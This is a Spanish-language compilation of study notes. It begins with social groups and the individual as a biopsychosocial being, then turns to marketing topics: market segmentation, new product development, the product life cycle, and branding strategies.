Los grupos sociales son una parte fundamental del desarrollo social, en virtud de que constituyen la unidad básica de funcionamiento de toda organización, institución o comunidad. Una de las principales características del trabajo moderno es el de que se realiza en contextos de grupos formalmente constituidos, adscritos a una estructura organizaciónal (El grupo de Recursos Humanos, el grupo de Contabilidad, el grupo de Producción, etc.).

 

A nivel individual, su importancia se confirma al observar que la personalidad psicosocial que poseemos y que determina nuestra forma de pensar, sentir y actuar, se ha moldeado a partir de nuestra interacción con otras personas en diferentes contextos grupales (familia, grupos de amigos, escuela, trabajo, etc.), ya que la naturaleza humana es indiscutiblemente social. Nuestras actitudes, nuestra escala de valores, nuestra percepción social y en general, nuestra conducta está influida por nuestra pertenencia a diferentes grupos sociales.

 

En ese sentido cabe la afirmación: somos lo que somos gracias a los demás, gracias a ese proceso de interinfluencia que inició en la infancia y que termina hasta la muerte. Por ello, “es importante mirar lo que acontece alrededor del sujeto para poder comprender lo que hace, y no pocas veces lo que piensa y lo que siente en su interior”, “mirar hacia fuera para entender lo de adentro”

Sin embargo, a pesar de que toda nuestra vida la pasamos en contextos de diferentes grupos sociales formales o informales, primarios o secundarios, la mayoría de las personas no aprende a comportarse como un buen miembro de grupo. De hecho, la formación psicosocial recibida conlleva una gran dosis de ideología individualista que determina que muchas personas practiquen la teoría del yoyo: primero yo, después yo y al último yo. Ideología que les impide el desarrollo de una identidad grupal en los grupos de pertenencia, ya que no permite que prevalezca el lenguaje del nosotros.

¿Por qué es importante estudiar a los grupos sociales? Partamos de la idea de que los grupos son un elemento central en la vida de toda persona, ya que es el contexto en el cual se construyen y manifiestan una parte importante de los comportamientos de todo individuo. De hecho, los grupos pueden producir consecuencias buenas y malas en los individuos. No es lo mismo pertenecer a un grupo deportivo que a un grupo de pandilla.

Ámbito psicológico: individuo.

Individuo Biopsicosocial
El hombre es un ser Biopsicosocial, es una definición innegable de la composición humana, somos una unidad biológica porque tenemos un organismo físico en funcionamiento que es la base de las funciones psicológicas, además el hombre es una unidad social porque interactúa en sociedad, convive con otros seres humanos que modifican su forma de sentir y pensar.

 

El entorno del ser humano, es tan importante en el desempeño y funcionamiento de los individuos dentro de la comunidad. El individuo Reúne a las personas en el tiempo y en el espacio.
El individuo Proporciona medios sistemáticos y adecuados de comunicación entre ellas.
El individuo Desarrolla y conserva pautas comunes de comportamiento.
Proporciona un sistema de estratificación de status y clases.
El individuo crea la administración política a necesidad de orden y seguridad.
El individuo propicia las diversas formas de religiones.

Los individuos constan de distintas partes, se hallan en relación con el entorno y entre sí y se distinguen de los otros por tener cada uno su propio tiempo, espacio, origen y destino. Como ser único, el individuo contrasta con la pluralidad de seres únicos. Sujeto, en filosofía, hace referencia a un ser que es «actor de sus actos», en el sentido de que su comportamiento o conducta no son meramente «reactivas», sino que aporta un plus de originalidad que responde a lo que solemos entender por decisión o voluntad.

“SEGMENTACIÓN DEL MERCADO Y ESTRATEGIAS RELACIONADAS CON EL MERCADO META.”

SELECCIÓN DEL MERCADO METAS ASPECTOS DEMOGRÁFICO S Y PODER DE COMPRA.

MERCADO

La palabra mercado se usa en muchas formas. Unas personas puede ir al mercado; otras puede planear la comercialización de un producto.

Hay muchos términos. Un mercado puede ser definido como  un lugar donde se reúnen compradores y vendedores, se ofrecen a la venta bienes o servicios y ocurre transferencia de propiedad. Puede ser definido también como la demanda de un producto o servicios. Por parte ciertos grupos de compradores y vendedores, se ofrecen a las ventas bienes o servicios y ocurre transferencia de propiedad. Puede ser definido también como la demanda de un producto o servicio, por otra parte de cierto grupo de compradores posibles.

Estas definiciones de mercado pueden ser lo suficiente precisas para resultar utiles en este momento. De tal suerte, el termino mercado  se defino como un grupo de personas con necesidades por satisfacer, dinero, y voluntad de gastarlo. La demanda del mercado de cualquier producto o servicio tiene tres factores que deben considerarse: personas con necesidades, poder de compra y comportamientos en la compra.

Selección del mercado meta.

La planeación de mercadotecnia de la organización comienza con la decisión de sus metas de mercado. una vez que se establecen las metas, el siguiente paso en el proceso de planeación estratégica consiste en seleccionar y analizar los mercados metas de la organización. Un mercado meta es un grupo de clientes hace el que la organización trata de orientar su esfuerzo de mercadotecnia.

Guías en relación con la selección de mercado

La primera es que los mercado metas deben ser compatibles con las metas y la imagen de la organización, una segunda guía  consiste en la relacionar las oportunidades de mercado con los recursos de la compañía. El mercado meta y la mezcla de mercado se desarrollan en relación con las metas de mercados.

Las empresas deben generar utilidades. Este punto mas o menos obvio se traduce en algo que en una guía obvia de selección de mercados. La organización busca en forma consciente mercados que generen en volumen suficiente de ventas de bajo costos, prar da como resultado una utilidad. Hacen a un lado el factor de utilidades cuando quieren conseguir mercados en gran volumen. La meta es aumentar solamente el volumen de ventas, en lugar de incrementar las ventas productivas. La compañía debe por lo general buscar un mercado donde el número de competidores y su tamaño sea mínimo. No debe entrar a un mercado saturado de competidores, a menos que tenga ventaja competitiva sobre las empresas existentes.

Segmentación del mercado.

El mercado total para la mayoría de los productos no es muy variado, muy heterogéneo. Esta falta de uniformidad puede ser indicadora de que existen diferencias en los hábitos de compra, en la manera como se unas el producto, en los motivos de su compra o en otros factores. La segmentación del mercado tiene en cuenta estas diferencias.

¿Qué es la segmentación de mercados?

El mercado total, heterogéneo, de un producto, se divide en varios segmentos, cada uno de los cuales tiende a ser homogéneo en todos sus aspectos significativos. Considera segmentos o partes cada una de ellas uniforme. La gerencia selecciona uno a amas d estos segmentos como el mercado meta y cada segmento  desarrolla una mezcla de mercadotecnia por separado que significa determinar varios calendarios de demanda; uno por cada segmento de mercado.

La segmentación del mercado es una filosofía orientada al consumidor.

Segmentación simple y múltiple.

La gerencia puede escoger entre segmentación simple y múltiple.

Segmentación simple significa seleccionar como mercado meta un grupo homogéneo del total del mercado para satisfacer un segmento único que permite a una compañía penetrar en un mercado pequeño y adquirir reputación como empresa de expertos o especialistas en el mercado limitado. Puede introducirse en ese mercado con recursos limitados. El riesgo consiste en que el vendedor apuesta todo a un solo número. Si disminuye el mercado potencial el vendedor puede tener graves problemas.

Segmentación múltiple en esta, dos o más grupo diferentes de clientes potenciales se identifican como segmentos de mercado meta.  Se desarrolla una mezcla de mercadotecnia por separado para obtener cada segmento; una compañía desarrollara una variedad diferentes del producto basico ara cada segmento como parte de la estrategia de segmentación múltiple. Puede realizase también sin cambios  en el producto, con programas separados de mercadotecnia orientado a un segmento diferente del mercado.

Beneficios de la segmentación del mercado.

Una empresa pequeña con recursos limitados puede competir con efectividad en uno o dos segmentos de mercado; la misma empresa se vería en problemas si se dirigiera al mercado total. Pude diseñar productos que satisfagan la demanda del mercado empleando la estrategia de segmentación del mercado. Los medios publicitarios se pueden usar en forma mas efectiva porque los mensajes de promoción y los medios escogidos para presentarlos pueden ser dirigidos mas específicamente hacia cada segmento del mercado.

Condiciones para una segmentación efectiva.

Tres condiciones ayudan a la gerencia a cumplir su objetivo.

  1. las características que se usan para clasificar a los clientes, deben ser mensurables, y los datos, accesibles. El “deseo de adquirir productos compatibles con la ecología” puede ser una característica útil.
  2. el segmento del mercado debe ser accesible mediante las instituciones de mercadotecnia existentes (canales de distribución, medios de publicidad, fuerza de ventas de la compañía, etc) a costo mínimo.
  3. cada segmento debe ser suficiente grande para generar utilidades. Puede tratar a cada cliente como un segmento separado. La empresa no debe desarrollar gran cantidad de estilos, colores, tamaños y precios al segmentar un mercado.

Bases para la segmentación del mercado.

  1. 1. consumidor final y usuarios industriales: la norma única para esta segmentación es la razón para la compra. Los consumidores finales compran o usan productos o necesidades confines no comerciales; es lo que se da en llamar “mercado de consumo”. Usuarios industriales con la organización de negocios, industriales o publica, que compran productos o servicio es para usarlos en sus propios negocios o para fabricar otros productos.
  2. 2. bases para la segmentación de mercado al consumidor: la división simple del mercado total en segmentos del consumidor e industrias es un comienzo conveniente. El modelo que usaremos para relacionado con los tres componentes del mercado definidos con anterioridad.
  1. personas con necesidades: podemos segmentar el mercado sobre bases demográficas como:

–     Distribución de la población regional.

–     Población urbana – suburbana-rural.

–     Edad.

–     Sexo.

–     Fases del ciclo de vida familiar, y otros: raza, religión,

Nacionalidad, educación, ocupación.

  1. Con dinero: la segmentación puede basarse en la distribución de los ingresos.
  1. Y la voluntad para gastarlo: nos lleva a  la segmentación  por el comportamiento de compra del consumidor.

Los principales factores determinantes son:

–        sociológicos, como:

Grupos culturales

Clases sociales amplias y grupos pequeños, incluyendo la familia.

–        Psicológicos, como:

Personalidad

Actitudes

Beneficios deseados del producto.

El comportamiento del comprador no puede relacionarse con solo un factor de segmentación. La segmentación útil se desarrolla incluyendo variables de las bases mencionadas.

  1. 2. bases para la segmentación de mercados industriales. Como los mercados del consumidor, los mercados industriales deben ser segmentados para desarrollar programas efectivos de mercadotecnia que lleguen a  los usuarios industriales.

Población distribución y composición.

Las personas son principal componente de un mercado. Deben analizar la distribución geográfica y la composición demográfica de la población, como primer paso para entender el mercado del consumidor.

–        población total: Este mercado total es tan grande y tan diverso en sus características, que debe ser analizado en segmentos. Ha habido cambios significativos en los modelos de distribución de la población regional y urbana-rural. Las diferencias de mercado por edad, sexo estilos de vida y antecedentes étnicos representan un problema para los ejecutivos de mercadotecnia.

–        Distribución regional: es importante para el personal de mercadotecnia porque las diferencias locales repercuten en diferencias en la demanda de muchos productos. Las diferencias pueden estar relacionadas con el clima, las costumbres sociales y otros factores.

–        Distribución urbana, rural y suburbana: la disminución de la población en el campo ha hecho que algunos expertos en mercadotecnia no tomen en cuenta el mercado rural. Este mercado, tanto el industrial para el equipo agrícola, como el del consumidor con aumento del poder de compra, es todavía muy grande. Los patrones tiene influencia considerable en el comportamiento de compra.

–        Grupo de edad: segmentar el mercado de consumidores por grupo de edad es un enfoque útil en el mercado de muchos productos.

El mercado infantil (con edad escolar de 5 a 13 años) redunda de tres maneras en la mercadotecnia. Primero, los niños pueden influir en las compras de los padres. Segundo, los padres gastan cientos de millones de dólares en este grupo. Tercero, los niños hacen compras de bienes y servicios para su uso personal.. el mercado de los adolescentes es un mercado importante y difícil de conquistar. Los jóvenes no son todos iguales; el grupo de edad de 13 a 16 es ciertamente muy diferente del grupo de 17 a 20 años de edad.

El personal de mercadotecnia debe en entender a los consumidores jóvenes por el tamaño del mercado y porque sus miembros tienen una cantidad  cada vez mayor de dinero para gastar. Son buenos consumidores de cassettes, automóviles, cosméticos, ropa, joyas, y otros productos.

Mercado de adultos jóvenes (grupo de edad entre 20 y 39) de especial importancia porque a esa edad, normalmente, las personas comienzan sus carreras, se casan, fundan una familia y gastan gran cantidad de dinero. Uno es el grupo de personas de la sexta y séptima década de la vida. Este mercado maduro es grande y económicamente promisorio. Sus miembros están en la cúspide de su poder de compra y ya no tiene responsabilidad financieras con sus hijos.

El otro grupo de edad comprende a las personas con mas de 65 años; integrantes de este grupo de edad son prospectos lógicos para casa pequeña, de bajo costo, cruceros, viajes al extranjero, productos para la salud y cosméticos preparados especialmente para personas de edad avanzada.

–        sexo: es una base obvia para la segmentación de mercados al consumidor.

Muchos patrones tradicionales de compra se están rompiendo. Y el personal de mercadotecnia debe estar atento a los cambios que afectan a sus productos debe estar atento a los cambios que afectan a sus productos. Actualmente los hombres compran alimentos y las mujeres compran gasolina.

ciclo de vida familiar: los factores demográficos de sexo y edad tomados en forma aislada no son siempre para la segmentación de mercado. Ciclo de vida familiar significa que hay varias etapas diferentes en la vida familiar normal

  1. etapa de soltería: personas jóvenes sin vínculos matrimoniales.
  2. parejas casadas jóvenes sin hijos.
  3. nido lleno. Parejas casadas jóvenes con hijos.
  4. nido lleno. Parejas casadas, de mayor edad, con hijos todavía dependientes.
  5. nido vació: parejas casadas de mayor edad sin hijos dependientes.
  6. personas de mayor edad que viven solas. Aun trabajando o ya retiradas.

La segmentación de un mercado con base en el ciclo de vida del producto atiende al hecho de que ese fenómeno constituye un determinante de importancia primordial de la conducta de compra.

Otras bases de segmentación demográfica.

El mercado de algunos productos al consumidor es influido por algunos factores como educación, ocupación, raza, origen nacional y religión. Con un número mayor de personas que tiene nivel de educación más alto, por ejemplo, podemos esperar a ver 1) cambios en la preferencia por los productos 2) compradores más exigentes y 3) de mayores ingresos. La ocupación puede ser un elemento más significativo.

Las personas son diferentes por sus actitudes, intereses y otros factores de estilo de vida.

Los consumidores con movilidad geográfica constituyen un segmento único de mercado, de tamaño  considerable le está comenzando a prestar atención donde muchos de estos consumidores tiene ingresos altos. Su movilidad los obliga a desarrollar nuevos hábitos de compra, a buscar nuevas fuentes de productos y servicios y desarrollar nuevas preferencias de marca.

Desarrollo de Nuevos Productos

La Creatividad es imaginar cosas nuevas, mientras que la innovación es hacer cosas nuevas, llevarlas a la realidad. Para esto se empelan procedimientos sistemáticos que aumenten las probabilidades de éxito.

PASO 1 ANÁLISIS DEL NEGOCIO

Hay tres aspectos básicos para analizar un negocio, y esos son:

  El Mercado, estimar las posibles ventas. Tener lo más claro posible cual es nuestro mercado meta, cuántos son los consumidores potenciales a los que queremos alcanzar. No existe método que dé con exactitud cuál va ser la demanda, pero se pueden usar estos métodos:

  Analogía Histórica: Buscar el comportamiento de ventas que tuvo un producto ya lanzado similar al nuestro.

  Métodos Sustitutivos: Analizar la competencia, ver cuánto venden actualmente y contemplar que % de sus ventas vamos a tomar.

  Análisis de la Necesidad: Se determina quiénes podrían estar interesados en nuestro producto nuevo y se contempla el % que queremos alcanzar de ese segmento.

  Métodos Subjetivos: Basados en la experimentación, encuestas a expertos, información general del comportamiento del mercado, etc.

  Factibilidad Técnica, es decir si lo podemos realizar, maquinaria, equipo, componentes, etc. Aquí entran todas las consideraciones tecnológicas, de tiempo y de costos requeridos para convertir las ideas en productos reales. La factibilidad técnica tiene 3 puntos a considerar:

  Los principios fundamentales se refieren a que el concepto del nuevo producto esté basado en cosas razonables.

  Que el diseño del producto esté relacionado con los requerimientos del mercado, que pueda ser utilizado por los consumidores, que se pueda transportar, almacenar, etc.

  Y la Manufactura, es decir que tengamos los equipos, espacios, costos para la producción del mismo.

Generalmente los aspectos técnicos no son la mayor razón de fracaso, sin embargo, hay que tener claro que es fundamental tener claros los costos de manufactura.

  La Rentabilidad, no podemos lanzar un producto sin obtener ganancias. Se tienen grandes riesgos considerando que es un producto nuevo y las ventas son inciertas. Sin embargo se debe realizar un FLUJO DE CAJA que será la herramienta que nos ayude a tener mejores pronósticos respecto a si es rentable o no un producto.

PASO 2 DESARROLLO DEL PRODUCTO

Al tener listo el análisis de estos 3 componentes básicos (Mercado, Factibilidad Técnica y Rentabilidad) llegamos al paso del Desarrollo de Producto, que es cuando la idea teórica se vuelve producto real. Si el análisis del negocio fue positivo, se inicia el desarrollo tomando en cuenta las necesidades de los clientes, las expectativas y atributos deseados que harán una diferencia en nuestro producto. Buscamos los requerimientos de diseño, los elementos de calidad involucrados, el número de estilos que queremos hacer, tamaños, colores, en sí, el beneficio básico que buscamos que tenga el nuevo producto.

PASO 3 PRUEBA DEL PRODUCTO

Al ya tener los prototipos es hora de probar diferentes aspectos de nuestro producto.

Aquí entran pruebas de este tipo:

  Test de Laboratorio: Ejemplo, que funcione realmente para lo que se creó. Que no sea dañino, que la formula química sea correcta, etc.

  Test de Clientes: Se puede pedir a un pequeño grupo de “posibles futuros consumidores” que prueben el producto y nos den sus comentarios.

  Evaluación de expertos: Ejemplo, enseñar el producto a mercadólogos, gente conocedora del tema, por ejemplo si fuera un vino nuevo, llevar catadores, etc.

PASO 4 PRUEBA DE MERCADO

En esta etapa se introduce el producto junto con la mercadotecnia que se va aplicar. Ya debe estar listo el producto con las etiquetas que va llevar, listos los anuncios, publicaciones, etc. Esto tiene un costo elevado pues es ANTES de lanzar al mercado, hacer una prueba considerando gastos de lanzamiento. Pero la ventaja que tiene es que aun nos puede prevenir del fracaso.

Al concluir estos pasos, el producto está listo para un LANZAMIENTO.

Un tema importante es si la investigación de mercados puede llegar a ser un limitante para la innovación. Esta interrogante surge, debido a que los productos totalmente nuevos no tienen un mercado definido, no hay bases listas de qué sí funciona y qué no. Por lo que una investigación de mercados que se base en el comportamiento actual del consumidor, probablemente dé como resultado que el producto NO sea factible. Aunque sea una excelente y prometedora idea. Por ello, la investigación de mercados debe ir más allá de mirar las actitudes y preferencias existentes.

¿QUÉ ES EL CICLO DE VIDA DEL PRODUCTO?

En términos generales, el ciclo de vida del producto es una herramienta de administración de la mercadotecnia que permite conocer y rastrear la etapa en la que se encuentra una determinada categoría o clase de producto, lo cual, es un requisito indispensable para fijar adecuadamente los objetivos de mercadotecnia para un “x” producto, y también, para planificar las estrategias que permitirán alcanzar esos objetivos.

Etapas del Ciclo de Vida del Producto:

Diversos expertos en temas de mercadotecnia coinciden en señalar que son cuatro las etapas que conforman el ciclo de vida del producto: 1) Introducción, 2) Crecimiento, 3) Madurez y 4) Declinación.

  1. LANZAMIENTO:Esta primera etapa del ciclo de vida del producto, se inicia cuando se lanza un nuevo producto al mercado, que puede ser algo innovativo (como en su momento fue el televisor, el celular o la reproductora de videcasetes) o puede tener una característica novedosa que dé lugar a una nueva categoría de producto (como el caso del horno microondas y el televisor a color).Esta etapa se caracteriza por presentar el siguiente escenario:
  • Las ventas son bajas.
  • No existen competidores, y en el caso que los haya son muy pocos.
  • Los precios suelen ser altos en esta etapa, debido a que existe una sola oferta, o unas cuantas.
  • Los gastos en promoción y distribución son altos.
  • Las actividades de distribución son selectivas.
  • Las utilidades son negativas o muy bajas.
  • El objetivo principal de la promoción es informar.
  • Los clientes que adquieren el producto son los innovadores.

Según Stanton, Etzel y Walker, la etapa de introducción es la etapa más arriesgada y costosa de un producto porque se tiene que gastar una considerable cantidad de dinero no solo en desarrollar el producto sino también en procurar la aceptación de la oferta por el consumidor [2]. Por ello, cabe señalar que son muchos los nuevos productos que fracasan en esta etapa debido principalmente a que no son aceptados por una cantidad suficiente de consumidores.

  1. CRECIMIENTO:Si una categoría de producto satisface al mercado y sobrevive a la etapa de introducción, ingresa a la segunda etapa del ciclo de vida del producto que se conoce como la etapa de crecimiento; en la cual, las ventas comienzan a aumentar rápidamente.Esta etapa suele presentar el siguiente escenario:
  • Las ventas suben con rapidez.
  • Muchos competidores ingresan al mercado.
  • Aparecen productos con nuevas características (extensiones de producto, servicio o garantía).
  • Los precios declinan de manera gradual como un esfuerzo de las empresas por incrementar las ventas y su participación en el mercado.
  • La promoción tiene el objetivo de persuadir para lograr la preferencia por la marca.
  • La distribución pasa de ser selectiva a intensiva.
  • Las utilidades aumentan, a medida que los costos unitarios de fabricación bajan y los costos de promoción se reparten entre un volumen más grande.
  • Los clientes que adquieren el producto en esta etapa son los adoptadores tempranos.

Según Lamb, Hair y McDaniel, en la etapa de crecimiento las ventas suelen incrementarse a tasas crecientes, muchos competidores ingresan en el mercado, las grandes compañías pueden comenzar a adquirir pequeños negocios pioneros y las utilidades son saludables [1].

  1. MADUREZ:Es en esta tercera etapa del ciclo de vida del producto, el crecimiento de las ventas se reduce y/o se detiene.Las características que distinguen esta etapa son las siguientes:
  • En una primera etapa, las ventas siguen aumentando, pero a ritmo decreciente, hasta que llega el momento en que se detiene.
  • La competencia es intensa, aunque el número de competidores primero tiende a estabilizarse, y luego comienza a reducirse.
  • Las líneas de productos se alargan para atraer a segmentos de mercado adicionales [1]. El servicio juega un papel muy importante para atraer y retener a los consumidores .
  • Existe una intensa competencia de precios.
  • Existe una fuerte promoción (cuyo objetivo es persuadir) que pretende destacar las diferencias y beneficios de la marca.
  • Las actividades de distribución son aún más intensivas que en la etapa de crecimiento.
  • Las ganancias de productores y de intermediarios decaen principalmente por la intensa competencia de precios.
  • Los clientes que compran en esta etapa son la mayoría media.

Según Kotler y Armstrong, esta etapa normalmente dura más tiempo que las etapas anteriores y presenta retos importantes para la dirección de mercadotecnia. La mayor parte de los productos se encuentran en la etapa de madurez de su ciclo de vida, por lo que casi toda la dirección de mercadotecnia se ocupa de productos maduros [4].

  1. DECLIVE:En esta cuarta etapa del ciclo de vida del producto, la demanda disminuye, por tanto, existe una baja de larga duración en las ventas, las cuales, podrían bajar a cero, o caer a su nivel más bajo en el que pueden continuar durante muchos años.Las características que permiten identificar esta etapa, son las siguientes:
  • Las ventas van en declive.
  • La competencia va bajando en intensidad debido a que el número de competidores va decreciendo.
  • Se producen recortes en las líneas de productos existentes mediante la discontinuación de presentaciones.
  • Los precios se estabilizan a niveles relativamente bajos. Sin embargo, puede haber un pequeño aumento de precios si existen pocos competidores (los últimos en salir).
  • La promoción se reduce al mínimo, tan solo para reforzar la imagen de marca o para recordar la existencia del producto.
  • Las actividades de distribución vuelven a ser selectivos. Por lo regular, se discontinúan los distribuidores no rentables.
  • Existe una baja en las utilidades hasta que éstos son nulos, e incluso, se convierten en negativos.
  • Los clientes que compran en esta etapa, son los rezagados.

Según Stanton, Etzel y Walker, la etapa de declinación, medida por el volumen de ventas de la categoría total, es inevitable por una de las razones siguientes: 1) Se crea un producto mejor o menos costoso para satisfacer la misma necesidad. 2) La necesidad del producto desaparece, a menudo por el desarrollo de otro producto. 3) La gente sencillamente se cansa de un producto (un estilo de ropa, por ejemplo), así que este desaparece del mercado [2]. Por ello, y al ver pocas oportunidad de lograr ventas o ganancias revitalizadas, la mayoría de competidores abandonan el mercado en esta etapa

LINEAS DE MARCAS EMPAQUE Y OTRAS CARACTERÍSTICAS DEL PRODUCTO

Una marca es un nombre o una señal cuya finalidad es identificar el producto de un vendedor o grupo de vendedores, para diferenciarlo de los productos rivales

Un nombre de marca está compuesto por palabra, letras o números que pueden ser vocalizadas. Un emblema o logotipo es la parte de la marca que aparece en forma de símbolo, diseño, color o letrero distintivos.

Una marca registrada es aquella ha sido adoptada por un vendedor y que goza de protección legal. Incluye no sólo el emblema, como muchos creen, sino además el nombre de marca.

Un método de clasificar las marcas consiste en hacerlo a partir de los propietarios. Tenemos así marcas de fabricantes y marcas de intermediarios; estas últimas pertenecen a los mayoristas o detallistas.

Con los adjetivos nacionales y privados se designa, respectivamente, la propiedad de la marca de fabricantes e intermediarios. Sin embargo, los profesionales del marketing prefieren la designación fabricante- intermediario.

Razones por las cuales se utilizan las marcas

Desde el punto de vista de los consumidores, las marcas sirven para identificar más fácilmente los bienes y servicios.

Desde el punto de viste de los vendedores, las marcas pueden ser promovidas. Se reconocen fácilmente al ser exhibidas en una tienda o incluidas en la publicidad. Con el uso de marcas se reduce la comparación de precios, porque son otro factor que ha de tenerse en cuente cuando se comparan productos diferentes.

Razones por las cuales no se usan marcas

La propiedad de una marca supone dos responsabilidades: 1) promover la marca y 2) mantener una calidad constante de la producción. Muchas firmas no ponen marca a sus productos, porque no pueden o no quieren asumir tales responsabilidades.

Hay productos que no tienen marca porque no es diferenciarlos físicamente de los de otra empresa. Los ganchos para tender la ropa, los clavos y las materias primas (carbón, algodón, trigo) son ejemplos de bienes donde no se usa la diferenciación y tampoco las marcas. La naturaleza perecedera de productos como las frutas y verduras frescas tiende a desalentar el empleo de marcas.

Selección de un buen nombre de marca

En nuestros días, escoger un buen nombre de marca plantea un auténtico reto. Simplemente se nos ha ido agorando las opciones. Por una parte, cada año se introducen en el mercado cerca de 10,000 productos nuevos. Por otra parte, un diccionario común suele contener apenas 50,000 palabras. La dificultad para encontrar un nombre apropiado ha dado origen a compañías que se especializan en crear nombres imaginativos y atractivos. El proceso de imposición de nombre no es barato, pues el simple nombre llega a costar entre 25,000 y 50,000 y luego mucho más la promoción de la nueva marca.

Características apropiadas

Cinco características determinan la conveniencia de un nombre de marca para un bien o servicio.

  • Sugerir algo acerca del producto, sobre todo sus beneficios y empleo.

Ejemplo Holiday Inn, Beautyirest.

  • Ser fácil de pronunciar, escribir y recordar.
  • Ser distintivo
  • Ser adaptable a los nuevos productos que se vayan incorporando a la línea. Ejemplo Kellogg, Lipton o ford.
  • Ser susceptible de registro y de protección legal.

Protección de nombre de marca

A lo largo de los años algunas marcas han logrado tal aceptación que normalmente se utilizan sus nombres en lugar del nombre genérico de determinados productos. Un nombre de marca puede volverse genérico en varios aspectos:

  • La patente expira
  • No existe un nombre genérico simple, de modo que en público emplea un nombre de marca en vez de él.
  • En ocasiones una firma promueve una marca demasiado bien.

Hay formas de evitar el uso genérico de un nombre de marca:

  • Utilice el nombre junto con el de la compañía. Por ejemplo Polaroid Land
  • Mejor aun, utilice el nombre de marca junto con el nombre genérico: por ejemplo Poliéster Dacron.
  • Notifique al público que se han registrado los derechos de autor de la marca.

Estrategias de marcas

Estrategias del producto

El fabricante debe decidir si impondrá marcas a sus productos y si venderá parte de su producción o toda ella con marcas de intermediarios.

Comercialización de la producción con las propias marcas del fabricante.

Sólo un pequeño grupo de fabricantes se sirve de esta estrategia y su número parece ir disminuyendo cada día. La razón principal de ello es que hay muchísimas oportunidades de elaborar productos a los cuales el intermediario imponen después sus propias marcas.

Uso de marcas con los materiales y piezas de fabricación

Algunos productores aplican una estrategia consistente en ponerles marcas a los materiales y piezas de fabricación. (bienes manufacturados que forman parte de otro producto después de la manufactura).

Por medio de esta estrategia el vendedor procura crear una preferencia del mercado por los materiales o piezas de su marca.

Marketing con marcas de intermediarios.

Una estrategia común de los fabricantes consiste en vender una parte o toda su producción a los intermediarios para que ellos le pongan su marca. Es una estrategia que puede beneficiar al fabricante. Los pedidos suelen ser grandes y el pago es rápido. Además la estrategia le ayuda al fabricante a utilizar la planta a toda su capacidad.

El problema de producir artículos con marcas de intermediario radica en que los ingresos del fabricante dependen de la fuerza de la campaña con que se promueva esa marca.

Estrategias de los intermediarios

Vender únicamente las marcas de los fabricantes.

La mayor parte de los mayoristas detallistas siguen esta política. Porque no tienen ni los medios financieros ni otra clase de recursos para promover una marca y mantener su calidad.

Vender a la vez las marcas de los fabricantes y las de los intermediarios.

A los intermediario les conviene vender su marcas, porque de ese modo controlan mejor los mercados meta.

Los intermediarios están en condiciones de vender sus marcas a precios menores que los de las marcas de los fabricantes y aun así conseguir mejores utilidades brutas.

Los costos serán menores porque el fabricante debe pagar la publicidad y la venta de sus marcas, pero estos costos no están incluidos en los precios de los productos vendidos a los intermediarios para que les pongan sus marcas.

Es preciso que los intermediarios sean cuidadosos al fijarle precios a sus marcas. De acuerdo con un estudio, si a las marcas de los comestibles de una tienda no se les pone un precio al menos 10% menos que el de las marcas del fabricante, muchas personas no los comprarán. Pero si el precio de la marca es más del 20% más bajo, algunos consumidores sospecharan de su calidad.

Quizá las marcas de los intermediarios hayan tenido su mayor impacto en la comercialización de los bienes empacados de consumo, entre los comestibles y los artículos para el cuidado personal.

Las marcas de intermediario han competido exitosamente con las de los fabricantes en diversas categorías de productos. Pero ninguna de ellas ha demostrado una neta superioridad sobre la otra en el mercado.

Vender productos genéricos

A fines de los años 70, varias cadenas de supermercados introdujeron productos que vendían con su nombre genérico. Los productos genéricos llevan la simple designación de carne de puerco y frijoles, crema de cacahuate queso cottage, toallas de papel, etc. Generalmente se venden de 30 a 40% menos que las marcas del fabricante y entre 10 y 20% menos que las de los detallistas. Están dirigidos a los consumidores sensibles al precio.

Los productos genéricos obtuvieron ventas lo bastantes importantes en algunas líneas de productos para constituirse en un factor decisivo en la guerra de marcas.

Estrategias comunes de productores e intermediarios

Los fabricantes e intermediario por igual habrán de seleccionar estrategias respecto a la conveniencia de ponerles marcas a sus mezclas de productos o de saturar el mercado con sus marcas.

Uso de marcas con una mezcla de productos

Por lo menos tres estrategias aplican las firmas que venden más de un producto:

  • Un nombre para cada producto.
  • El nombre de la compañía combinado con el nombre de un producto
  • El nombre de la compañía solo

El uso del nombre de la compañía en las marcas, a menudo llamada marca de familia facilita la incorporación de nuevos productos afines a una línea y reduce los costos.

El nombre de la compañía es el más apropiado para comercializar productos que se parecen por la calidad, el uso o en algún otro aspecto.

Cuando se pone el nombre de la compañía a las marcas, hay una mayor responsabilidad pro parte le ella para conservar la misma calidad entre todos sus productos. En producto deficiente puede tener consecuencias negativas y hasta desastrosas en los demás que llevan la misma marca.

Saturación del mercado con marcas

Cada vez con mayor frecuencia, las empresas recurren a unas estrategias de marcas múltiples con el fin de aumentar sus ventas totales en el mercado. Tienen más de una marca de una producto esencialmente idéntico, dirigido a un mismo mercado o a otros bien diferenciados. Supongamos, por ejemplo, que una compañía preparó un tipo de mensaje de ventas en torno a una marca determinada. Si quiere llegar a otros segmentos del mercado, podrá emplear otros mensajes con diversas marcas.

Algunas veces una compañía llega a la conclusión de que requiere varias marcas para penetrar en mercados individuales.

Creación y uso de las marcas como activos de la empresa

Compañías tan diversas como Sears, The Limited,. Dole, Armor All y Marriott reconocen que se marcas pueden ser activos más valiosas que los bienes físicos (edificio y equipo, por ejemplo). Nos referimos aquí al capital propio de marca, uno de los temas de mayor trascendencia del marketing durante los años 90. El capital de marcaes el valor que ésta agrega a un producto. Además del valor intrínseco de un producto, basado en la capacidad de cumplir su función, una marca le agrega un valor adicional mediante el conocimiento de su nombre.

Tendemos a concebir el capital de la marca como un aspecto positivo del producto Algunas veces una marca carecerá de ese artículo e incluso posiblemente tenga un capital negativo. Es decir, no agrega nada e incluso disminuye la capacidad del producto para cumplir con su función.

Para obtener una buena connotación de marca hay que crear una imagen positiva, recordable y congruente, tarea nada fácil por cierto. La calidad y la publicidad del producto son elementos decisivos en ella.

La equidad de marca a menudo sirve para ampliar una mezcla de productos, sobre todo una línea. Se emplea un fuerte nombre de marco en un nuevo producto o línea porque la equidad de marca comunicará una impresión favorable del producto, aumentando además la probabilidad de que el público por lo menos lo pruebe.

Concesión para utilizar marcas registradas

Los productos con un gran capital de marca tienen gran potencial para la concesión de marcas registradas, llamada también concesión de uso de marcas. Por medio de este convenio, el dueño de una marca autoriza (otorga una concesión) a otras compañías para que usen su nombre de marca y la marca registrada en sus productos.

Los propietarios de marcas bien conocidas desean licenciarlas por varios motivos:

  • Puede ser rentable, porque el licenciatario no hace gastos fuertes
  • Existe un beneficio promocional, porque el nombre del licenciatario se da a conocer más allá del producto original.

